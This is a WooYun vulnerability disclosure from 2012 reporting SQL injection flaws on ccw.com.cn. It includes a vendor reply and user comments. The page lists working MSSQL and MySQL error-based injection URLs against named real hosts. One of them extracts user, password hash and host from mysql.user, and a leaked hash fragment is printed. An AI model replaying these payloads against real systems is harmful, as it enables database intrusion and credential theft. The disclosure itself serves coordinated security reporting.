当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-05049

漏洞标题：计世网多处注射漏洞

相关厂商：计世网

漏洞作者： Jannock

提交时间：2012-03-05 21:45

修复时间：2012-04-19 21:46

公开时间：2012-04-19 21:46

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-03-05： 细节已通知厂商并且等待厂商处理中
2012-03-06： 厂商已经确认，细节仅向厂商公开
2012-03-16： 细节向核心白帽子及相关领域专家公开
2012-03-26： 细节向普通白帽子公开
2012-04-05： 细节向实习白帽子公开
2012-04-19： 细节向公众公开

简要描述：

计世网多处注射漏洞

详细说明：

mssql 注射。
http://www.ccw.com.cn/projector/cgfa/index.php?categoryId=1%29%20%20as%20c%20on%20c.articleId=a.id%20where%20%28select%20@@version%29=1--
message: 在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86) Nov 24 2008 13:01:59 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' 转换成数据类型 int 时失败。
http://www.ccw.com.cn/oa/news/?categoryId=1xx
mysql root注射
http://user.ccw.com.cn/active.php?ac=5%20and%20%28select%201%20from%28select%20count%28*%29,concat%280x7c,%28select%20%28Select%20concat%280x7c,user,0x7c,password,0x7c,host%29%29%20from%20mysql.user%20limit%206,1%29,0x7c,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1%29a%29%23
hy|453ee53467932819|%
端口还可以远程。root 密码等已经被人提交过cmd5破解，估计早发现漏洞。。

漏洞证明：

mssql 注射。
http://www.ccw.com.cn/projector/cgfa/index.php?categoryId=1%29%20%20as%20c%20on%20c.articleId=a.id%20where%20%28select%20@@version%29=1--
message: 在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86) Nov 24 2008 13:01:59 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' 转换成数据类型 int 时失败。
http://www.ccw.com.cn/oa/news/?categoryId=1xx
mysql root注射
http://user.ccw.com.cn/active.php?ac=5%20and%20%28select%201%20from%28select%20count%28*%29,concat%280x7c,%28select%20%28Select%20concat%280x7c,user,0x7c,password,0x7c,host%29%29%20from%20mysql.user%20limit%206,1%29,0x7c,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1%29a%29%23
hy|453ee53467932819|%
端口还可以远程。root 密码等已经被人提交过cmd5破解，估计早发现漏洞。。

修复方案：

您懂得！

版权声明：转载请注明来源 Jannock@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2012-03-06 09:52

厂商回复：

首先还是非常感谢。计世网目前没有人员专门从事安全方面的工作，再由于历史原因，系统千疮百孔，我只能依靠诸位的无私奉献，见一个修一个。再次感谢。再说一下计世网这几次出现的漏洞都是由于对参数的过滤不严造成的。

最新状态：

暂无

漏洞评价：

评论

  1. 2012-03-05 22:01 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    围观一下

  2. 2012-03-05 22:10 | 疏懒 ( 普通白帽子 | Rank:359 漏洞数:42 | 不能尽如人意，但求知足常乐~！)

    @zeracker 呵呵，为什么不围观我的... - -||

  3. 2012-03-06 10:13 | softbug ( 实习白帽子 | Rank:66 漏洞数:10 | 为人类设计最好的软件，解放人的双手,一起...)

    "计世网目前没有人员专门从事安全方面的工作",作为一个计算机相关行业，还是对网络安全忽视了。可悲

  4. 2012-03-06 10:17 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    我晕。那不发财了。20点，20点的。

  5. 2012-03-06 10:26 | 疏懒 ( 普通白帽子 | Rank:359 漏洞数:42 | 不能尽如人意，但求知足常乐~！)

    其实我想说：说好的礼物呢~

  6. 2012-03-06 10:37 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    大致看了下，保守的说，XSS至少存在80个以上，注入就不说了，暴库，爆表都是浮云。

  7. 2012-03-06 11:05 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @softbug 一个计算机相关行业为什么一定会对网络安全重视呢？要回答这个问题可以问多几个类似的：“一个计算机相关行业为什么一定会对敏捷开发重视呢？”“一个计算机相关行业为什么一定会对高负载重视呢？”“一个计算机相关行业为什么一定会对数据库重视呢？”......答案就出来了

  8. 2012-03-06 14:04 | softbug ( 实习白帽子 | Rank:66 漏洞数:10 | 为人类设计最好的软件，解放人的双手,一起...)

    @horseluke 你真幽默，呵呵 虽然术业有专攻，但只要面向互联网开放，就应该有这方面的思考。总不至于然安全裸奔吧。

  9. 2012-03-06 14:43 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @softbug 你的说法其实非常同意，只是每个人每个公司确实精力有限。不是说为什么人推脱，因为现在我自己都焦虑在编程上应该抓哪方面。

  10. 2012-03-07 08:43 | 计世网(乌云厂商)

    @疏懒 真不好意思，我以为系统会发一个虚拟礼物表示感谢，没想到是真礼物，如果有机会会奉上礼物一份。

  11. 2012-03-07 08:47 | 计世网(乌云厂商)

    @softbug 您说的很对。

  12. 2012-03-07 08:48 | 计世网(乌云厂商)

    @horseluke 非常感谢您的理解。一件事情不仅仅是表面上那么简单。